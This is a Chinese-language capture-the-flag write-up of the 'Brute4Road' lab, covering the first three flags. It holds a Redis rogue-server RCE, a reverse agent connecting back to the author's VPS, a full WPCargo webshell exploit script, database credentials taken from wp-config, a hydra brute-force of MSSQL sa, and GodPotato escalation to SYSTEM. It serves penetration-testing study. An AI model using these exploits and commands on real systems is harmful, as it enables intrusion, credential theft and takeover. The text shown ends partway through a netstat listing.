(春秋云境)0x1-Brute4Road

這是鼠鼠打的第一個春秋雲境靶機 , 因為靶機是公網的 , 要自己準備vps來打 , 還要很多工具 , 後期還要域滲透(第一次碰)

參考Blog :

Brute4Road

Windows提权方式汇总

土豆家族工具使用适配表格大全

Kerberos (不是K8s)

工具準備:

MDUT 數據庫的利用工具

redis rce

Stowaway 内网代理搭建

wpscan

wpscan api token

域滲透工具:

bloodhound AD域环境分析

Powersploit

mimikatz

Rubeus 利用

flag01

用nmap 掃了掃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(base) PS E:\ctf tools\Web security\fscan> nmap 39.99.134.102
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-15 14:03 +0800
Nmap scan report for 39.99.134.102
Host is up (0.048s latency).
Not shown: 990 closed tcp ports (reset)
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
4444/tcp filtered krb524
5800/tcp filtered vnc-http
5900/tcp filtered vnc

Nmap done: 1 IP address (1 host up) scanned in 10.05 seconds

用fscan來掃掃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(base) PS E:\ctf tools\Web security\fscan> .\fscan_2.2.2_windows_x64.exe -h 39.99.134.102
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan 2.2.2 (2ede41d 2026-10-01T05:55:05Z)

[*] 服务插件: pop3, ms17010, oracle, activemq, elasticsearch ... 等36个
[*] 参数自适应: Timeout=1000ms, ModuleThread=5, Retry=6, ICMPRate=0.05, PocNum=5
[*] 39.99.134.102:22               ssh      [Product:OpenSSH ||Version:7.4] Banner:(SSH-2.0-OpenSSH_7.4)
[*] 39.99.134.102:6379             redis    [Product:Redis key-value store ||Version:5.0.12] Banner:($3271 # Server redis_version:5.0.12 redis_git_sha1:00000000 redis_git_dirty:0 re...)
[*] http://39.99.134.102           http     [Product:nginx ||Version:1.20.1] Banner:(HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 15 Oct 2026 06:05:40 GMT Content...)
[!] Redis未授权访问: 39.99.134.102:6379
[*] POC加载完成: 总共487个，成功487个，失败0个
[+] http://39.99.134.102           code:200 len:4833  title:Welcome to CentOS    server:nginx/1.20.1 [nginx centos默认页面 nginx/1.20.1]
端口扫描中（22线程） ● 100.0% [==============================] (133/133) 9/s TCP:152/136
[完成] 扫描完成: 133/133 (耗时: 14.0s)
[*] 扫描完成，发现 3 个开放端口
[-] 39.99.134.102:22 ssh 未发现弱密码
[*] 扫描任务完成，耗时 15.562s，已扫描 7 个目标

可以看到有存在redis端口 : 6379

下載: redis rce

在vps加上安全組 TCP 21000: 

1
python3 redis-rogue-server.py --rhost 39.99.134.102 --lhost 47.104.243.216

成功拿到shell :

截图

之後在shell找找有沒有可以setuserid的:

1
find / -perm -4000 2>/dev/null

可以看到有base64 來讀flag: 在GTFOBins 找找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[<<] find / -perm -4000 2>/dev/null
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$30\r\nfind / -perm -4000 2>/dev/null\r\n'
[->] b'$369\r\n/usr/sbin/pam_timestamp_check\n/usr/sbin/usernetctl\n/usr/sbin/unix_chkpwd\n/'......b'exec/dbus-1/dbus-daemon-launch-helper\n/usr/lib/polkit-1/polkit-agent-helper-1\n\r\n'
[>>] /usr/sbin/pam_timestamp_check
[>>] /usr/sbin/usernetctl
[>>] /usr/sbin/unix_chkpwd
[>>] /usr/bin/at
[>>] /usr/bin/chfn
[>>] /usr/bin/gpasswd
[>>] /usr/bin/passwd
[>>] /usr/bin/chage
[>>] /usr/bin/base64
[>>] /usr/bin/umount
[>>] /usr/bin/su
[>>] /usr/bin/chsh
[>>] /usr/bin/sudo
[>>] /usr/bin/crontab
[>>] /usr/bin/newgrp
[>>] /usr/bin/mount
[>>] /usr/bin/pkexec
[>>] /usr/libexec/dbus-1/dbus-daemon-launch-helper
[>>] /usr/lib/polkit-1/polkit-agent-helper-1

截图 
1
base64 /path/to/input-file | base64 --decode

内网代理搭建

vps 開一下http : python -m http.server 80

wget 一個 Stowaway :

1
2
3
cd /tmp 
http://47.104.243.216/Stowaway/linux_x64_agent
chmod +x linux_arm64_agent
截图

在vps上開一下:

1
./linux_x64_admin -l 1122

靶機:

1
./linux_x64_agent -c 47.104.243.216:1122

成功彈到shell :

1
2
3
4
5
(admin) >> use 0
(node 0) >> socks 1123
[*] Trying to listen on 0.0.0.0:1123......
[*] Waiting for agent's response......
[*] Socks start successfully!

建立了socks 1123 在 proxifier 上設一下 :

截图

check 一下 : 前面的可以就行了:

截图

回到找flag01 :

1
2
3
4
5
6
7
[redis@centos-web01 flag]$ cat flag01
cat flag01
cat: flag01: Permission denied
[redis@centos-web01 flag]$ pwd
pwd
/home/redis/flag
[redis@centos-web01 flag]$

用base64 read flag01:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
base64 /home/redis/flag/flag01 | base64 --decode

[redis@centos-web01 flag]$ base64 /home/redis/flag/flag01 | base64 --decode
base64 /home/redis/flag/flag01 | base64 --decode
 ██████                    ██              ██  ███████                           ██
░█░░░░██                  ░██             █░█ ░██░░░░██                         ░██
░█   ░██  ██████ ██   ██ ██████  █████   █ ░█ ░██   ░██   ██████   ██████       ░██
░██████  ░░██░░█░██  ░██░░░██░  ██░░░██ ██████░███████   ██░░░░██ ░░░░░░██   ██████
░█░░░░ ██ ░██ ░ ░██  ░██  ░██  ░███████░░░░░█ ░██░░░██  ░██   ░██  ███████  ██░░░██
░█    ░██ ░██   ░██  ░██  ░██  ░██░░░░     ░█ ░██  ░░██ ░██   ░██ ██░░░░██ ░██  ░██
░███████ ░███   ░░██████  ░░██ ░░██████    ░█ ░██   ░░██░░██████ ░░████████░░██████
░░░░░░░  ░░░     ░░░░░░    ░░   ░░░░░░     ░  ░░     ░░  ░░░░░░   ░░░░░░░░  ░░░░░░


flag01: flag{77b4acee-fcf9-473b-9244-c1fa94a20890}

flag02

用fscan掃一下內網:

1
2
3
wget http://47.104.243.216/fscan/fscan_2.2.2_linux_x64
chmod +x fscan_2.2.2_linux_x64
./fscan_2.2.2_linux_x64

掃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[redis@centos-web01 tmp]$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UPLOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:18:53:d0 brd ff:ff:ff:ff:ff:ff
    inet 172.22.2.7/16 brd 172.22.255.255 scope global dynamic eth0
       valid_lft 1892157121sec preferred_lft 1892157121sec
    inet6 fe80::216:3eff:fe18:53d0/64 scope link
       valid_lft forever preferred_lft forever
[redis@centos-web01 tmp]$ ./fscan -h 172.22.2.0/24 -nobr -o result.txt

我就不掃了, 用別人wp上的吧 , fscan會卡死:

1
2
3
4
5
172.22.2.16  MSSQLSERVER.xiaorang.lab  mssql数据库服务器 
172.22.2.7   Redis                    
172.22.2.34  XIAORANG\CLIENT01
172.22.2.3    DC:DC.xiaorang.lab
172.22.2.18   WORKGROUP\UBUNTU-WEB02  wordspress网站

現在go wordpress上:

截图

用wpscan扫描下wordpress站点:

1
wpscan --url http://172.22.2.18 --api-token xxx
0de5de1f-b97d-4793-8879-b95d4001e2d4.png 
1
2
3
4
5
6
| [!] Title: WPCargo < 6.9.0 - Unauthenticated RCE
|     Fixed in: 6.9.0
|     References:
|      - https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25003

在kali上打一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))



在python開一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 wpscargo.py 
PNG
▒
IHDRmIJPLTE     pHYs+DAcindex.php
license.txt
readme.html
webshell.php
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
xmlrpc.phpt|bmqIENDB`

截图

試試antSword連上去:

截图

可以了:

在wp上的/var/www/html/wp-config.php 找到了:

1
2
3
4
5
6
7
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wpuser' );

/** Database password */
define( 'DB_PASSWORD', 'WpuserEha8Fgj9' );

用sql連一下:

截图

還有個flag02:

截图

還有一個字典:

截图

導出一下: 這不放了太多了999個

flag03

用hydra 來爆破一下: passwd.txt 用上面那999個的

1
proxychains -q hydra -l sa -P passwd.txt mssql://172.22.2.16
474423e9-306a-4854-8253-7e95f7ce1549.png 
1
2
sa
ElGNkOiC

之後可以用MDUT_windows 來連連了:

截图

利用高級功能:

截图 
1
whoami /priv
截图 截图

NET 4.0 可以上, 右鍵上傳Godpotato:

成功了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ C:\迅雷下载\GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140723354664960
[*] DispatchTable: 0x140723356637824
[*] UseProtseqFunction: 0x140723356160384
[*] UseProtseqFunctionParamCount: 5
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\313ee753-e18f-45d6-acfe-3471572e37b6\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00007402-1c18-ffff-261b-b332a8079331
[*] DCOM obj OXID: 0x621648c138fa78e1
[*] DCOM obj OID: 0x9d7021237a875009
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 700 Token:0x696  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1084
nt authority\system
1
C:\迅雷下载\GodPotato.exe -cmd "cmd /c netstat -ano"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
活动连接
  协议  本地地址          外部地址        状态           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       700
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       2900
  TCP    0.0.0.0:2383           0.0.0.0:0              LISTENING       2980
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       804
  TCP    0.0.0.0:16450          0.0.0.0:0              LISTENING       3776
  TCP    0.0.0.0:16451          0.0.0.0:0              LISTENING       3784
  TCP    0.0.0.0:16452          0.0.0.0:0              LISTENING       3784
  TCP    0.0.0.0:16453          0.0.0.0:0              LISTENING       3776
  TCP    0.0.0.0:17001          0.0.0.0:0              LISTENING       3776
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       412
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       952
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       548
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1428
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       824
  TCP    0.0.0.0:49672          0.0.0.0:0              LISTENING       1360
  TCP    0.0.0.0:49678          0.0.0.0:0              LISTENING       548
  TCP    0.0.0.0:49682          0.0.0.0:0              LISTENING       540
  TCP    127.0.0.1:135          127.0.0.1:50353        ESTABLISHED     700
  TCP    127.0.0.1:135          127.0.0.1:50354        ESTABLISHED     700
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       2900
  TCP    127.0.0.1:28317        0.0.0.0:0              LISTENING       1864
  TCP    127.0.0.1:49670        127.0.0.1:49671        ESTABLISHED     1588
  TCP    127.0.0.1:49671        127.0.0.1:49670        ESTABLISHED     1588
  TCP    127.0.0.1:50353        127.0.0.1:135          ESTABLISHED     700
  TCP    127.0.0.1:50354        127.0.0.1:135          ESTABLISHED     700
  TCP    172.22.2.16:139        0.0.0.0:0              LISTENING       4
  TCP    172.22.2.16:1433       172.22.2.7:37328       ESTABLISHED     2900
  TCP    172.22.2.16:1433       172.22.2.7:37374       ESTABLISHED     2900
  TCP    172.22.2.16:1433       172.22.2.7:37376       ESTABLISHED     2900
  TCP    172.22.2.16:3389       172.22.2.7:45294       ESTABLISHED     804
  TCP    172.22.2.16:16450      172.22.2.16:49789      ESTABLISHED     3776
  TCP    172.22.2.16:16451      172.22.2.16:49871      ESTABLISHED     3784
  TCP    172.22.2.16:49789      172.22.2.16:16450      ESTABLISHED     3784
  TCP    172.22.2.16:49871      172.22.2.16:16451      ESTABLISHED     3784
  TCP    172.22.2.16:50260      100.100.100.200:80     TIME_WAIT       0
  TCP    172.22.2.16:50352      120.79.192.53:3232     SYN_SENT        2588
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       700
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:1433              [::]:0                 LISTENING       2900
  TCP    [::]:2383              [::]:0                 LISTENING       2980
  TCP    [::]:3389              [::]:0                 LISTENING       804
  TCP    [::]:16452             [::]:0                 LISTENING       3784
  TCP    [::]:16453             [::]:0                 LISTENING       3776
  TCP    [::]:17001             [::]:0                 LISTENING       3776
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       412
  TCP    [::]:49665             [::]:0                 LISTENING       952
  TCP    [::]:49666             [::]:0                 LISTENING       548
  TCP    [::]:49667             [::]:0                 LISTENING       1428
  TCP    [::]:49668             [::]:0                 LISTENING       824
  TCP    [::]:49672             [::]:0                 LISTENING       1360
  TCP    [::]:49678             [::]:0                 LISTENING       548
  TCP    [::]:49682             [::]:0                 LISTENING       540
  TCP    [::1]:445              [::1]:50355            ESTABLISHED     4
  TCP    [::1]:1434             [::]:0                 LISTENING       2900
  TCP    [::1]:50355            [::1]:445              ESTABLISHED     4
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49698  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49700  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49702  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49704  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49706  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49708  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49710  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49712  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49714  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49716  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49718  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49720  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49722  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49724  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49726  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49728  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49730  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49732  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49734  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49736  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49738  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49740  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49742  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49744  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49746  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49748  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49750  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49752  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49754  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49756  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49758  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49760  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49762  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49764  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49766  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49768  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49770  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49772  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49774  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49776  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49778  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49780  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49785  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49791  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49793  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49795  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49797  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49799  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49801  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49803  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49805  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49807  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49809  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49811  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49813  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49815  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49817  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49819  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49821  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49823  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49825  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49827  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49829  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49831  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49833  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49835  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49837  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49839  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49841  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49843  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49845  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49847  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49849  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49851  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49853  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49855  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49857  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49859  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49861  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49863  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49865  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49867  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:1433  [fe80::90b6:2cac:a881:8a50%5]:49869  ESTABLISHED     2900
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49698  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49700  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49702  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49704  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49706  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49708  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49710  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49712  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49714  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
  TCP    [fe80::90b6:2cac:a881:8a50%5]:49716  [fe80::90b6:2cac:a881:8a50%5]:1433  ESTABLISHED     3776
